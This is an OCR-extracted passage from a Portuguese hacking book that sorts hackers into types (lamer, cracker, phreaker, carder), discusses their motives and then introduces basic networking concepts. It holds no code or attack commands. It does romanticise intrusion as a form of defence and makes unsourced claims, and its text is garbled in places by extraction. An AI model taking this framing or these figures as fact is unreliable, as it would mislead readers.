de saber como as coisas funcionam, mas j sabe pelo menos como operar os aplicativos existentes no computador. Um belo dia descobre um programinha simples que invade as mquinas dos outros e apaga seus e-mails, ou outro programinha que expulsa pessoas das salas de chato Ou ainda um programinha para alterar pginas em sites. Esse usurio o que se chama de lamer, palavra derivada de lame que em portugus quer dizer manco ou aleijado. Um lamer caracterizado normal2 No usamos aqui o termo "castas"porque ficaria subentendito que no h mobilidade entre elas, como na civilizao Indiana Brmane. Apesar de no gostarem que outros hackers subam na hierarquia, o objetivo de todo hacker exatamente este: aperfeioar-se tcnica, social e politicamente. 3 Uma descrio de como o vocbulo luser foi criado pode ser encontrado (em ingls) no Jargon File: http://www.ianwnflle.comzianwnlbtmI/entry/luser.htmI.Alis. o Jargon File pode ser usado para obter os signilicados de qualquer tenno relacionado tecnologia e ao comportamento hacker usado neste livro.

128 I

Psicologia Hacker r

Universidade 1 ano

mente pelo trio de programas que ele sempre emprega: scan, exploit e trojan. - Wannabe (ou wannabee) - A palavra foi usada pela primeira vez na mdia nos anos 80 para se referir aos tas da cantora Madonna que se vestiam e agiam tentando imitar seu dolo. De maneira semelhante, os wannabees da informtica so usurios comuns que almejam ser hackers. O termo pode ser usado de duas maneiras, uma positiva e outra pejorativa. Quando usado de forma positiva, wannabe o indivduo que j leu bastante e est prestes a entrar no que chamamos de latval stage (ou "entrar no casulo"). Na forma pejorativa, wannabe exatamente o tipo que descrevemos nos primeiros pargrafos deste captulo: algum que quer entrar nesse fantasioso mundo mstico chamado hackerismo, mas no tem a mnima idia do que se trata. - Larva! stage - literalmente, estgio larval, tambm chamado de spawn. o perodo de isolamento total pelo qual o candidato a hacker tem de passar para, no fmal do processo, "nascer de novo" como programador. Note que possuir habilidade em programao condio fundamental para ser considerado hacker, mesmo no sentido popular da palavra. O estgio larval restringe-se programao e pode durar de seis meses a dois anos. No fmal deste estgio, o programador adquire uma sapincia quase esotrica, embora a possibilidade de nunca mais voltar a uma vida normal seja o preo a pagar. Voc pode ser um programador competente sem passar por isso. Entretanto, nunca chegar a ser um mago do cdigo. - Hacker - Essapalavra andou um longo caminho at chegar aqui. Originalmente (segundo o Jargon File) denominava carpinteiros que faziam mveis com machados

- "hack" a onomatopia para essas ferramentas, em ingls. Nos anos 40 e 50, o


vocbulo hacker era usado para categorizar radioamadores e hobbystas de mecnica ou eletrnica. J na dcada de 60, o nome se popularizou como sinnimo de programador (para os que saram do latval stage) e especialista em computadores, embora fosse comum utiliz-Iopara definir qualquer especialista: haviam hackers de astronomia, de mecnica de automveis ou de jardinagem, por exemplo. Devido ao j citado desservio prestado comunidade hacker pelos jornalistas, atualmente o termo tende a se referir aos criminosos digitais. So especialistas que j dominam diversas tcnicas de invaso e conhecem com profundidade pelo menos um sistema operacional. So excelentes programadores (tambm passaram pela fase larval) e administradores de sistemas. Mas, diferentemente do que popularmente se acredita, possuem um rgido cdigo de tica e nunca usam seus conhecimentos para o mal, mesmo que sua noo de bem seja contra a lei. A comunidade hacker tradicional execra completamente esta definio, preferindo se referir a hackers apenas como programadores e especialistas em informtica. Para os hackers tradicionais, os que praticam atividades ilegais (mesmo que motivadas por motivos nobres) so chamados de crackers.

4 Segundo o Jargon File, uma caracterstica dos wannabes justamente o uso excessivo dos termos que estamos apresentando neste captulo. No verbete h ainda uma interessante nota histrica sobre a evoluo do signiflcado da palavra.

1291

]Psicologia Hacker

I Universidade

H4CK3R

Cracker - Chamado de "hacker do mal" ou "hacker sem tica", normalmen-

te especializado em quebrar as travas de softwares comerciais para poder pirate-Ios (chamados de warez-dOOdz), mas tambm usa seus conhecimentos para invadir sites e computadores com objetivos ilcitos, como vandalismo ou roubo. Muitas vezes os crackers so excelentes programadores e podem criar programas que infectem ou destruam completamente sistemas alheios sem deixar vestgios - os lamers normalmente usam programas criados pelos crackers. Mas a grande maioria pouca coisa mais esperta que os lamers. A diferena que os crackers so persistentes: conhecem e fazem uso de uma mirade de ferramentas para explorar vulnerabilidades conhecidas nos sistemas que querem invadir. Um lamer age por impulso e no sabe o que est fazendo. Um cracker sabe o que faz e, mesmo sendo um hacker medocre, tem noes suficientes para "se virar" caso algum imprevisto ocorra. - Phreaker - o cracker dos sistemas telefnicos. Possui conhecimentos avanados de eletrnica e telefonia (principalmente sobre sinalizao telefnica) e pode fazer chamadas de qualquer local sem pagar por elas. Os mtodos de fraude incluem transferir as faturas para outros nmeros (vlidos ou no), modificar telefones pblicos para conseguir crdito ilimitado ou mesmo enganar a central telefnica para que ela no faa o billing. - Carder - o especialista em fraudes com cartes de crdito. Sabe como conseguir listas de cartes vlidos em sites que os utilizam (sites de compras, de chat pago, etc.), gerar nmeros falsos que passam pela verificao e mesmo roubar e clonar cartes verdadeiros. - War driver vulnerabilidades - Um tipo recente de cracker. Sabe aproveitar as inmeras das atuais redes sem fio, as chamadas wireless, e se conectar a

elas. Os war drivers europeus foram mais longe e criaram o war chalking, que consiste em desenhar com giz no cho smbolos que indicam a melhor posio de conexo para outros war drivers.

o que so, como pensam e como agem


(e porque importante conhecer essa bobagem toda)
Como j vimos, os hackers so especialistas. Os que usam seus conhecimentos para invadir e conseguir informaes (com motivos ilcitos ou no) so to especialistas quanto os hackerstradicionais, trancados em laboratrios no MIT ou na Unicamp. Os hackers associados a qualquer definio da palavra compartilham dos mesmos ideais e crenas, com variaes locais, mas com um ncleo comum bem definido.

Aprendizado
Os hackers so neurticos em sua busca por conhecimento. Qualquer informao, por mnima que seja, uma jia rara. Cada novo sistema, linguagem de progra-

130 I
Psicologia Hacker r

Universidade 1 ano

mao ou mecanismo de criptografia um desafio a ser superado. Dependendo de suas idias sociais e polticas, o hacker pode decidir inclusive que os conhecimentos encerrados em uma rede ou sistema autnomo devem ser abertos ao grande pblico, mesmo que seu sigilo esteja resguardado por leis - rebeldia e repdio a leis imorais ou injustas so quase obrigatrias nesse meio. A idia de invadir um sistema para olhar tudo, aprender o mximo possvel e sair sem tocar em nada amplamente aceita mesmo pelos conservadores. Essas pessoas faro tudo o que estiver a seu alcance para buscar sempre novos conhecimentos.

Comprometimento
Uma das caractersticas comuns a todos os hackers o que coloquialmente chamamos de bitolao. Eles so aficionados em tudo o que envolve computadores, programao, conectividade e tecnologia da informao. E o so ao ponto de relaxar na aparncia, deixar de comer, de tomar banho e de dormir durante dias para terminar um programa importante ou conseguir invadir aquele site famoso. O larva!stage a que nos referimos anteriormente um bom exemplo do comprometimento que o hacker tem por seu trabalho, seja ele remunerado ou no (mesmo hackers que o fazem por hobby referem-se ao hackerismo como trabalho). Outro exemplo o chamado hack mode. Quando um programador ou analista de sistemas entra em hack mode, todos os recursos de seu corpo e crebro esto alocados para a tarefa na qual ele pretende hackear. Isso inclui um grande poder de concentrao e de abstrao. Quando um hacker est em hack mode, perfeitamente aceitvel que ele levante a mo para outras pessoas em sinal de "pare", sem dizer uma palavra, impedindo assim que a linha de raciocnio seja quebrada. Interromper o raciocnio de um programador enquanto ele est criando sinnimo de apagar todo o seu trabalho: ele ter de recomear do zero. Outro exemplo do comprometimento dos hackers o descuido quanto carreira. Muitos programadores e especialistas em sistemas recusam promoes nas empresas onde trabalham porque isso acarretaria desloc-Ios para reas administrativas e gerenciais. De fato, quase que mensalmente lemos nas revistas especializadas entrevistas com diretores de informtica que desabafam com o reprter sua saudade da poca em que "colocavam as mos na massa". Com pa rti Lhamento Hackers de qualquer espcie (os do MIT e os do Crime Boyz) tambm tm em comum a necessidade de compartilhar conhecimento e recursos. Isso inclui escrever software com cdigo aberto e livre acesso, divulgar 100% do conhecimento que possui para a comunidade, facilitar o acesso a essas informaes a qualquer interessado e disponibilizar, sempre que possvel, recursos de computao e de rede. Essa uma paisagem que pode ser vista por diferentes janelas. Os hackers tradicionais (ou seja, segundo o significado correto da palavra) pregam o
131 I
I

Psicologia Hacker

I Universidade

H4CK3R I

compartilhamento universal do conhecimento. H milhares de bons exemplos do compartilhamento universal e irrestrito de informaes, como a prpria Internet, o projeto Gutenberg (http://www.gutenberg.org/). o projeto GNU (http://www.gnu.org) e o Linux (http://www.linux.org). Os hackers/crackers tm outra noo de compartilhamento do conhecimento. Para eles, a cooperao fundamental, mas deve ser recproca. Isso significa que voc tem de compartilhar primeiro para ser aceito no cl. S depois de julgado pelo cl, voc ter acesso base de conhecimento deles. Alm das informaes bsicas e das livremente obtenveis, procedimentos de invaso e os dados resultantes delas tambm devem ser compartilhados entre os membros do cl. Hackers normalmente colocam diversos backdoors nos sistemas invadidos e divulgam informaes sobre esses backdoors5 dentro de seus cls. Os hackers desse segundo tipo tm ideais. O ideal de alguns o dinheiro e para isso no hesitaro em roubar, enganar e fraudar. Para outros, h motivaes ideolgicas, polticas ou sociais, algumas extremamente vlidas, outras moralmente questionveis. Outros ainda so vndalos e destroem pelo puro prazer de ver o ndio queimar... Os que possuem ideais elevados normalmente revelam a podrido de governos e empresas e como elas nos enganam ou lesam. difcil condenar qualquer um dos tipos. Os hackers tradicionais, com sua viso academicista, cooperativista e livre, nos deram, por exemplo, a Internet. Quadrilhes de dlares foram gastos em tecnologia por empresas I?rivadas durante todo o sculo XX e, no entanto, o cone e maior legado da tecnologia desse perodo algo que pessoas do meio cientfico ofertaram de graa humanidade. J os hackers do segundo tipo - rebelando-se contra instituies e leis nem sempre justas ou moralmente corretas - nos mostraram que SIM,o governo nos espiona; SIM, as empresas empurram produtos de m qualidade aos consumidores; e SIM, organizaes privadas, polticas e governamentais esto SEMPRE conspirando para cercear nossos direitos. Companhias e governos jogam sujo nos forando a usar sistemas horrveis, caros e mal escritos, que nos espionam e caducam muito rpido. "Hackear', ento, seria apenas uma forma de defesa.

Ei! Isso importante!


A maioria dos hackers que invadem sistemas de terceiros adolescente ou
adulto muito jovem e essa mstica do submundo digital faz muito sentido para eles. claro que h hackers mais velhos que ainda esto mergulhados nesse mundo parte, mas a maioria esmagadora de pessoas muito jovens. Alguns hackers mais maduros - que j superaram essa fantasia - utilizam essa mitologia toda como um escudo. Mesmo achando tudo isso uma chatea-

5 Literalmente, "porta de trs". um programinha que o invasor deixa na mquina invadida para sempre ter acesso a ela, mesmo que o administrador tape a brecha pela qual o hacker entrou. como abrir novos buracos para entrar porque o primeiro fatalmente ser consertado pelo dono do muro.

1321
Psicologia Hacker [

Universidade 1 ano

o extrema (" a terriflc bore", como nos disse Lord.Aztael.js), o hacker mais velho se agremia a cls, tem um pseudnimo vistoso e .1)!6!74 u7!1!z4nl)0 35<!:r!7413376 com o objetivo de despistar autoridades e continuar annimo. Esse o problema. As listas de vulnerabilidades de sites como o Security Focus ou o Linux Security possuem apenas os problemas descobertos pelos pesquisadores ou divulgados pelos crackers. Mas no se engane: mais de 80% das vulnerabilidades esto em listas privadas de cls hackers, fora as outras tantas que so conhecidas apenas por indivduos. Confiar apenas nas listas pblicas alimentadas por gente que foi invadida e por crackers que liberam as vulnerabilidades muito antigas no uma atitude l muito sbia. Isto posto, se voc est lendo este livro pensando em segurar melhor sua empresa, necessariamente ter de descer ao submundo digitaF e ser um deles. No pense jamais em ser agente duplo, entretanto: sua rede nunca mais ser deixada em paz se descobrirem que voc deu um "copiar/colar" da lista de vulnerabilidades deles para seu site de segurana preferido.

Por que algum gastaria tempo e dinheiro numa invaso?


A resposta para isso gira em tomo de uma nica palavra:motivo. Todo hacker, seja bom ou mau, possui um motivo para fazer o que faz. Pode ser torpe ou elevado, pode ser por amor ou dio, por necessidade, nillismo ou vingana, no importa: motivo h. A busca por conhecimento parece, primeira vista, ser o motivo mais imediato. Mas na maioria dos casos apenas um objetivo intermedirio para atingir algo maior.Seria possvel escrever vrios livros sobre os reais motivos dos hackers. Cada indivduo tem suas prprias idias, seu dio e seus amores, suas crenas. H pessoas que "hackeiam" por motivos polticos, ideolgicos ou ambientais. Na China, existem vriosgrupos lutando por uma abertura democrtica e usam a Internet para isso. O Greenpeace e grupos neonazistas so outros exemplos. A tecnologia utilizada,nesses casos, como armas em uma guerra, que, na viso do hacker, vlida. Outros o fazem por simples vandalismo, ou ainda por objetivos torpes: pornografia infantil, venda de armas e narcticos e pirataria (com fins econmicos ou no). O servidor de sua empresa ou o computador de seu av podem estar sendo usados como reservatrios de imundices sem que voc o saiba. Ou mesmo como trampolim para um sistema maior. Seja por ideal, por hobby ou com objetivos econmicos ilcitos, uma invaso e a prpria existncia de cada hacker sempre possui um motivo original.

6 "Digitar utilizando escrita leet". O 1337 54:r!p7 uma forma de escrever utilizando smbolos alternativos disponveis no teclado, ou seja, apenas no conjunto de caracteres ASCII estendido. 7 Muitos referem-se a ele com o nome oficial de "Digital Underground".

1331
] Psicologia Hacker

Redes
caPtulo2

'For mi!lions ofyears, man have lived just like the animaIs. And then something happened, that unleashed the power of our imagination: we learned to talk.' Stephen Hawking, cientista, em um comercial da AT&T.

1 "Por milhes de anos, a humanidade viveu como os animais. Ento algo aconteceu, que despertou o poder de nossas mentes: aprendemos a falar." Stephen Hawking gravou essa mensagem tambm na cano "Keep TaIking", do album The Division Bell, do grupo de rock Pink Floyd, em 1994.

I Universidade

H4CK3R I

Introduco
I

Ningum uma ilha. impossvel imaginar que o mundo moderno possa sobreviver ou mesmo existir sem que as pessoas possam comunicar-se. Talvez em comunidades afastadas no serto do Piau um telefone disposio ou mesmo luz eltrica sejam algo suprfluo, e sua falta seja contornve1. Mas imagine se faltar comunicaes ou energia eltrica em uma cidade como Nova York. Milhes morrero... As redes de computadores so uma especializao das redes telefnicas, que por sua vez so um aperfeioamento das tecnologias envolvendo o velho te1egraf02. Hoje, h computadores ligados por toda a nossa volta, e presentes em diversas tarefas do nosso cotidiano. Bancos, empresas, mercados... Todos utilizam algum tipo de rede para atualizar informaes de forma eficiente, rpida e segura. Nosso objetivo para este captulo dar uma noo muito superficial de como as redes funcionam e quais so seus componentes. Lembremos que em quase 100% dos casos estamos acessveis a hackers atravs de alguma rede. Mesmo que os invasores utilizem-se de acesso fsico para invadir alguma de nossas mquinas - ou seja, possam sentar-se em nossas cadeiras e digitar diretamente em nossos teclados -, o controle posterior de nossa mquina se dar, provavelmente, atravs de alguma rede. Os conceitos aqui contidos provavelmente vo acrescentar pouco aos administradores mais experientes, mas serviro como ferramentas fundamentais para abrir as portas aos que esto comeando a entender esse universo. Nem este captulo nem todo o livro tm a inteno de ser um tratado completo sobre comunicao e redes de computadores. Alm de fugir do objetivo principal, seria complicado faz-Io sem fugir da estimativa inicial de 350 pginas impressas. Muitos bons livros foram escritos sobre o assunto, como o excelente Redes de Computadores, de Andrew Tannembaum, ou os livros on-line de Morimoto disponveis no Guia do Hardware (www.guiadohardware.com). E a prpria Internet est cheia de bons tutoriais e artigos sobre o assunto. No se prenda, pois, ao exposto aqui. v em frente! Seja safo! Estude!

Conceituao
As tecnologias que evoluram do telgrafo e da telefonia para tornarem-se o que conhecemos hoje como redes de computadores possuem vrios aspectos que devem ser analisados para que nossos projetos de redes sejam eficientes e seguros. Alguns desses aspectos bsicos so: ~ Estrutura fsica: os componentes de hardware (mecnicos ou eltricos) que compem uma rede. Simplificando a definio, podemos dizer que tudo aquilo que voc pode tocar.
2 Os norte-americanos clamam para si a inveno do telgrnfo, reabnente levado a cabo por Samuel Morse em 1838 (e patenteado por ele em 1840). Mas na dcada anterior, em 1830, cientistas ingleses j haviam reproduzido em laboratrio a teoria que um misterioso colega escocs havia proposto 70 anos antes, em 1750. Na opinio dos autores, foi esse escocs annimo (ele assinou seu relatrio apenas com as iniciais, CM) que inventou o telgrnfo.

1361 Redes 1[

Universidade 1 ano

~ Topologia: como os computadores esto ligados fisicamente entre si na rede. Cada problema apresentado pede uma topologia diferente para resolv10, e h situaes em que vrias topologias combinadas resolvem o problema da melhor maneira possvel. ~ Protocolos: as normas que regem as comunicaes entre computadores e as "lnguas" que eles falam entre si. Neste captulo, apresentaremos um "resumo" cobrindo os princpios bsicos das tecnologias envolvidas. O captulo 8, Redes lI, apresentar as redes TCP/IP - usadas em praticamente todas as redes srias hoje em dia, bem como na Internet - de forma mais completa.

Estrutura fsica
Existem diversos tamanhos e tipos de redes, mas o ponto de partida para elas o mesmo: a necessidade de comunicao entre dois ou mais computadores. As formas de conexo podem ser as mais variadas, desde pares de cabos comuns e de baixo custo, passando pelos cabos coaxiais e fibras ticas at equipamentos sem fio. H ainda outros componentes utilizados para expandir a capacidade da rede. Entre esses componentes, podemos destacar: ~ Servidor: mquina central responsvel pela disponibilizao de recursos e servios na maioria das redes. Sua funo agir como fonte de dados para as configuraes da rede, armazenamento de dados e plataforma para rodar aplicativos, alm de possuir mecanismos de autenticao e controle de acesso - evitando assim que usurios acessem recursos no-autorizados. Existem diversos tipos de servidores, sua escolha depende da necessidade e do tamanho da rede em que ser instalado. ~ Cliente: a mquina que utilizar a rede em questo. com ela que o usurio vai acessar os recursos disponveis, como servios, programas e dispositivos de armazenamento no servidor, em outras mquinas cliente ou em dispositivos autnomos como faxes ou impressoras remotas. ~ Cabos: so o meio fsico por meio dos quais os dados sero transmitidos. Existem diversos tipos de cabos, e sua escolha vai depender do tipo de rede a ser instalada, do equipamento que ser utilizado e de quanto o dono da rede est disposto a gastar. ~ Interface de rede: hardware responsvel pela conexo entre as mquinas, agindo como porta de entrada e sada para acesso ao "espao pblico" da rede.

1371 ] Redes 1

I Universidade

H4CK3R I

Equipamento adicional
~ Repetidores: equipamentos que regeneram eletricamente (ou seja, no domnio analgico) o sinal nos meios de transmisso - normalmente cabos eltricos. No se pode usar muitos deles numa mesma rede, pois degeneram o sinal no domnio digital e causam problemas de sincronismo entre as interfaces de rede. ~ Hubs: unidades que funcionam como ponto central de conexo em uma rede local. Possuem vrias portas de conexo, cada uma destinada a um computador diferente. Todos os hubs so tambm repetidores. ~ Bridges: possibilitam dividir a rede em segmentos autnomos. Com isso, consegue-se reduzir o trfego na rede toda, bloqueando dados cujo segmento de origem e destino sejam os mesmos e deixando passar dados cujo segmento de destino seja diferente do de origem. ~ Comutadores: tambm chamados de switches, possuem diversas portas, assim como os hubs.A diferena que, internamente, ele segmenta a rede, sendo cada porta um segmento diferente. A queda no trfego da rede, com a utilizao de switchs, gritante. ~ Roteadores e Gateways: equipamentos capazes de encaminhar dados entre duas ou mais redes diferentes. Possuem inclusive uma certa inteligncia, podendo encaminhar mensagens a redes que no esto diretamente ligadas a eles. A Internet nada mais do que uma grande malha de roteadores.

Abrangncia
Alm do conhecimento dos componentes isolados que compes uma rede, necessrio ter uma idia de como elas podem cobrir diferentes reas. Os nomes de cada categoria, embora consagrados, no so to importantes. Conhecer os diferentes problemas inerentes a cada uma das situaes, entretanto, primordial para um projeto bem-sucedido. ~ LAN: as famosas redes locais, hoje chamadas de departamentais. Os equipamentos encontram-se geograficamente em um mesmo local, e o nmero de mquinas pequeno. No h muitos problemas de interconexo. ~ MAN: visa cobrir uma rea urbana com aproximadamente 30 km de raio. Normalmente composta pela interligao de todas as redes locais de uma mesma empresa, na mesma regio metropolitana. ~ WAN: redes capazes de alcanar grandes distncias. Seu sinal reforado sempre para que no haja perda nos dados durante a transmisso dos mesmos. No caso de redes privadas, uma WAN a interligao das MANs de uma mesma instituio ou grupo de instituies. Em se tratanto de redes pblicas, a WAN mais conhecida do mundo a Internet.

J8 I
Redes 1 r

Universidade 1 ano

TopoLogias
Quando falamos em topologias de uma rede, estamos nos referindo ao layout lgico da mesma. H vrias formas nas quais podemos organizar a interligao entre cada um dos ns da rede (cada ponto de conexo com a rede pode ser chamado de n, independentemente da funo do equipamento representado por ele). H quatro topologias que chamamos de cannicas: ponto-a-ponto, barramento, anel ou estrela. A escolha da topologia apropriada para uma determinada aplicao depende de diversos fatores, sendo estabilidade, velocidade, confiabilidade e custo os mais importantes. A distncia entre os ns e o tamanho da rede tambm so fatores preponderantes.

Principais topoLogias
~ Ponto-a-ponto: tambm conhecida como linear, tem como caracterstica a disposio em srie dos equipamentos, fazendo com que os dados passem por todas as estaes que estiverem conectadas, mas apenas a receptora poder reconhec-Ios.

~ Barramento: uma extrapolao das redes ponto-a-ponto. Alis, muitas redes ponto-a-ponto utilizam-se de barramentos. Neste modelo de conexo, todos os computadores so ligados em um mesmo barramento fisico de dados. Apesar de os dados no passarem por dentro de cada um dos ns, apenas uma mquina pode "escrever" no barramento num dado momento. Todas as outras "escutam" e recolhem para si os dados destinados a elas.

1391
] Redes 1

I Universidade

H4CK3R I

~ Anel: essa topologia constituda por um circuito fechado.As redes conhecidas como Token Ring (criadas pela IBM) so as mais famosas. Quando foram criadas, ofereciam uma taxa de transmisso bem mais elevada do que nas redes lineares, mas a adio de um nmero muito grande de mquinas no anel causava problemas de atraso, rudo e sincronizao. Por isso mesmo, essa topologia caiu em desuso para redes locais. Em WANs, pelo contrrio, como so poucos ns (um de cada rede local que se quer interligar), a topologia em anel a mais indicada. ~ Estrela: nessa topologia, toda a informao deve passar obrigatoriamente por uma central inteligente, que deve conectar cada estao da rede e distribuir o trfego para que uma estao no receba, indevidamente, dados destinados s outras. ATENO:uma rede local que use um hub no considerada como estrela!!! Um hub um dispositivo que possui, internamente, um barramento! O trfego que entra por uma porta do hub destinado a todas as outras portas. Uma rede que usa switches, entretanto, um exemplo perfeito de configurao em estrela. Outro exemplo so as controladoras de terminais "burros" dos mainframes e minicomputadores. A vantagem das implementaes por estrela a grande especializao do trfego. Apenas dados destinados quele n so enviados a ele. Os custos de implementao e operao, entretanto, so elevados, e atualmente configuraes em estrela so usadas mais para interligar segmentos de rede do que ns individuais.
40 I Redes 1 r

Universidade 1ano

Protocolos
Extrado do Novo Dicionrio Aurlio de Lngua Portuguesa: protocolo. [Do gr. protkollon, 'primeira folha colada aos rolos de papiro, e na qual se escrevia um resumo do contedo do manuscrito', pelo lat. medo protocollu e pelo fr. protocole.] S.m. 1. Registro dos atos pblicos. 2. Registro das audincias nos tribunais. 3. Registro de uma conferncia ou deliberao diplomtica. 4. Formulrio regulador de atos pblicos. 5. Conveno internacional. 6. livro de registro da correspondncia de uma firma, repartio pblica, etc. 7. Bras. Carto ou papeleta em que se anotam a data e o nmero de ordem com que foi registrado no livro de protocolo (6) um requerimento, e que serve como recibo. 8. Fig. Formalidade, etiqueta, cerimonial. 9. Inform. Protocolo de comunicao (q. v.). Protocolo de comunicao. 10. Inform. Conjunto de regras, padres e especificaes tcnicas que regulam a transmisso de dados entre computadores por meio de programas especficos, permitindo a deteco e correo de erros; protocolo de transmisso de dados. [Tb. se diz apenas protocolo.] Protocolo de transmisso de dados. 11. Inform. Protocolo de comunicao (q. v.). A palavra protocolo possui, ento, diversos significados, tanto na lngua portuguesa quanto na lngua aceita como universal, o ingls. Trs dos significados chamam a ateno: 3.Registrode umaconfernciaou deliberaodiplomtica.
S. Conveno internacional. S. Fig. Formalidade, etiqueta, cerimonial.

O vocbulo teve sua origem no grego para designar a folha de resumo do


documento (protos

= primeiro,

kollon = folha), mas seu uso foi amplamente

difun-

dido na esfera diplomtica; em um primeiro momento, como os documentos que registravam quais as atitudes e os procedimentos que deveriam ser seguidos em encontros ou querelas com outras naes e, posteriormente, como sinnimo desses procedimentos. A definio 3 do verbete ilustra o sentido diplomtico original da palavra, a defmio 5 mostra o conceito moderno. Em sentido figurado, as pessoas passaram a considerar qualquer procedimento-padro (seja ele diplomtico ou no) como protocolo - exatamente o que nos diz a definio 8 do verbete. Quando as primeiras redes de computadores comearam a sair do papel e ser experimentadas nos laboratrios de tecnologia (j na dcada de 50), havia a necessidade de criar um mecanismo para que cada equipamento ligado nela pudesse se comunicar com os demais, mesmo que fossem equipamentos diferentes. Foram criados ento mensagens-padro, e se duas mquinas quisessem comunicar-se deveriam ambas conhecer tais mensagens. Pela similaridade de idias (e para fazer uma brincadeira com a defmio diplomtica), os engenheiros de ento apelidaram essas mensagens-padro de protocolo. Observe as defmies 9, 10 e 11. Se prestarmos ateno, veremos que nada mais so do que extrapolaes de 5 e 8.Vejamos, ento, alguns dos protocolos de redes mais conhecidos, suas funes e suas particularidades. 141 I ] Redes 1

I Universidade

H4CK3R

Como funcionam
Os protocolos so, ento, como "frases" que uma interface de rede tem de dizer para poder se comunicar com as outras. Como a expresso "as outras" da frase anterior est no plural, deve haver alguma forma de todas as mquinas conectadas na mesma rede conseguirem, ao "ouvir" uma mensagem, entender se destinada a elas ou no. A primeira providncia que um protocolo de redes deve tomar declarar de qual protocolo estamos falando. Deve haver, em algum lugar no incio da mensagem, um indicador de protocolo. Lembrem-se: nem sempre existe apenas um protocolo trafegando pela rede, ento faz-se necessrio identificar a todos. Considerando que uma mensagem (ou pacote, que o termo tcnico correto para essa entidade) em uma rede um conjunto de dados originados em um n e destinados a outro, e que esses dados sero transmitidos serialmente na forma de bits, coerente afirmar que teremos, no cabo da rede, um "trem" de pulsos eltricos seqenciais. Para fms didticos, vamos "montar" um pacote usando um protocolo genri-

co e fictcio, criado por ns. J sabemos que nossa mensagem tem de comear com um identificador de protocolo, ento teremos alguma coisa assim:

Protocot

ID

Uma das coisas que o protocolo deve definir, alm da posio onde est cada um dos dados, o tamanho deles. Assim, em nosso protocolo fictcio
definimos que o identificador de protocolo est na primeira posio. Mas devemos que definir tambm quantos bits sero usados para identific-Io.

Vamos supor que, em nossa tecnologia de redes, vo existir apenas quatro


protocolos diferentes. Para quatro valores diferentes, bastam apenas dois bits. Ento, quando publicarmos nossas normas e projetarmos nossas placas de rede, j sabemos: os primeiros dois bits desse pacote identificam qual protocolo estamos usando. H outra coisa que j sabemos: qual a mquina destino do pacote, e qual a mquina de origem. Cada n em uma rede possui um identificador nico que o diferencia dos demais ns. Esse identificador comumente chamado de endereo, portanto, sabemos que preciso inserir, em nosso pacote, quantos bits

sero destinados representao do endereo de origem e de destino. Nossa tecnologia de redes s vai ligar 16 ns ao mesmo tempo, ento quatro bits so
suficientes. (Estamos considerando que o leitor saiba fazer converso decimal! binrio, pois ser necessrio. Em caso negativo, um site que pode esclarec-Io piano .dsi.uminho. pt/ -joao/Computaca02lnode2 .html). 1421 Redes1 [

Universidade

1ano

o pacote ficaria assim:


ProtocollD (2bits) Endereco de

Origem (4 bits)

Endereco Destin (4bits)

Falta alguma coisa, no? Quem teria o trabalho de enviar, pelo correio, um envelope com remetente, destinatrio, o selo carimbado (que, nesse caso, identificaria o protocolo de comunicao: o sistema postal brasileiro) mas sem uma carta no interior? Nosso protocolo tambm carece de algo til para fazer. Precisamos definir um espao, dentro da mensagem, para carregar os dados que queremos transmitir do n de origem para o de destino. Vamos supor que a rede para a qual estamos criando esse protocolo tenha uma limitao: o tamanho dos pacotes no pode passar de 64 bits. J usamos dois para o protocolo, quatro para o endereo de origem e mais quatro para o endereo de destino. 2+4+4 = 10, sobram, ento, 54 bits para o payload (expresso usada no meio ferrovirio para definir o tamanho da "carga til") e demais campos. Um protocolo, por mais simples que seja, deve possuir um smbolo que marque o fim da mensagem. Vamos definir uma sequncia de 1 byte para tal. Ao acaso, arbitramos 11001011. O smbolo deve ser a ltima coisa que aparece na mensagem. Os 46 bits que sobraram podem ser usados para transportar nossos dados.
PID
2 bits

End. Origem End. Destino


4bits 4bits

PAYLOAD (Dados teis) 46 bits

Fim Msg 11001011

claro que pacotes montados segundo nosso simples protocolo simples carecem de diversos controles mais sofisticados. Poderia, por exemplo, haver um campo no qual existisse um nmero calculado a partir dos bits de toda a mensagem. Esse nmero seria reca1culado pelo n destino e, se o resultado batesse com o que est guardado no campo, indicaria que a mensagem no foi corrompida durante a viagem. Outro campo til poderia ser um marcador de tamanho de mensagem. Com o tamanho da mensagem varivel, ajustaramos a quantidade de dados a transmitir naquele momento. Pegando como exemplo nosso protocolo, que tem um payload de 46 bits, vemos que todas as mensagens tero rigorosamente o tamanho mximo, mesmo que eu queira transmitir apenas um bit. Com um campo controlando o tamanho do payload, posso otimizar o uso da minha rede e diminuir o trfego. Eu poderia passar a madrugada inteira (sim, agora de madrugada, e eu tenho de entregar o captulo todo corrigido amanh...) falando sobre as inmeras possibilidades de implementao de protocolos. Em vez disso, recomendo ao leitor que procure na Internet documentao sobre teoria de protocolos. Bons livros sobre redes (como o j citado de Andrew Tannemmbaum) tambm so boas fontes de informaes sobre o assunto.

1431
] Redes1

I Universidade H4CK3R I

Matrioshka3
O campo Protocol ID (ou PID) de nosso protocolo um identificador que o diferencia dos outros protocolos que trafegam na rede. O protocolo nosso "primeiro fIlho", vamos batiz-Io de PROTl (original, no?). Pode ser que, no mesmo cabo, trafegue o nosso PROTl e outros trs, criados por seus colegas: MAILl, WEBl e 1M!. Em qualquer momento que se verifique, h mensagens desses quatro protocolos trafegando simultaneamente. So mensagens independentes e que podem existir no mesmo tempo e espao. fcil observar, pelos nomes dados pelos seus colegas, que o protocolo MAILl vai carregar mensagens de correio eletrnico, o protocolo WEBl trar pginas Web para seu navegador e o protocolo IMl permitem conversas entre programas de mensagens instantneas. Em algumas situaes, queremos usar um protocolo para transportar pacotes de outros protocolos. Uma dessas situaes quando o nmero de protocolos a transportar na rede muito grande. Nesses casos, cria-se um protocolo de transporte - sendo s um, o hardware mais fcil de implementar - e encapsula-se os demais protocolos como se fossem dados em seu payload. Extrapolando, possvel ter vrios nveis de encapsulamento. Cada um dos nveis comumente chamado de camada ou layer, e possvel extratificar a comunicao de dados criando camadas com funes especmcas.

Cabealho

6
EJ
I

Cabealho

CabeaLho

FIm

Os protocolos de mais alto nvel so "envelopados" em outros de uso mais geral. O processo pode seguir indefmidamente, dependendo das necessidades de projeto. Cada uma das camadas pode tratar de exigncias especmcas da rede. Por exemplo, a camada de mais baixo nvel provavelmente cuida dos aspectos eltricos da comunicao, j a camada mais superior oferece um meio para que as mensagens do programa que est acessando a rede sejam bem recebidas na outra ponta do fIo.
3 Bonecas russas que se encaixam uma dentro da outra, da mesma forma que as camadas do modelo durante o encapsulamento, iniciando sempre pela menor e "ganhando peso" durante o processo. OS!

441 Redes 1 [

Universidade 1 ano

Ethernet
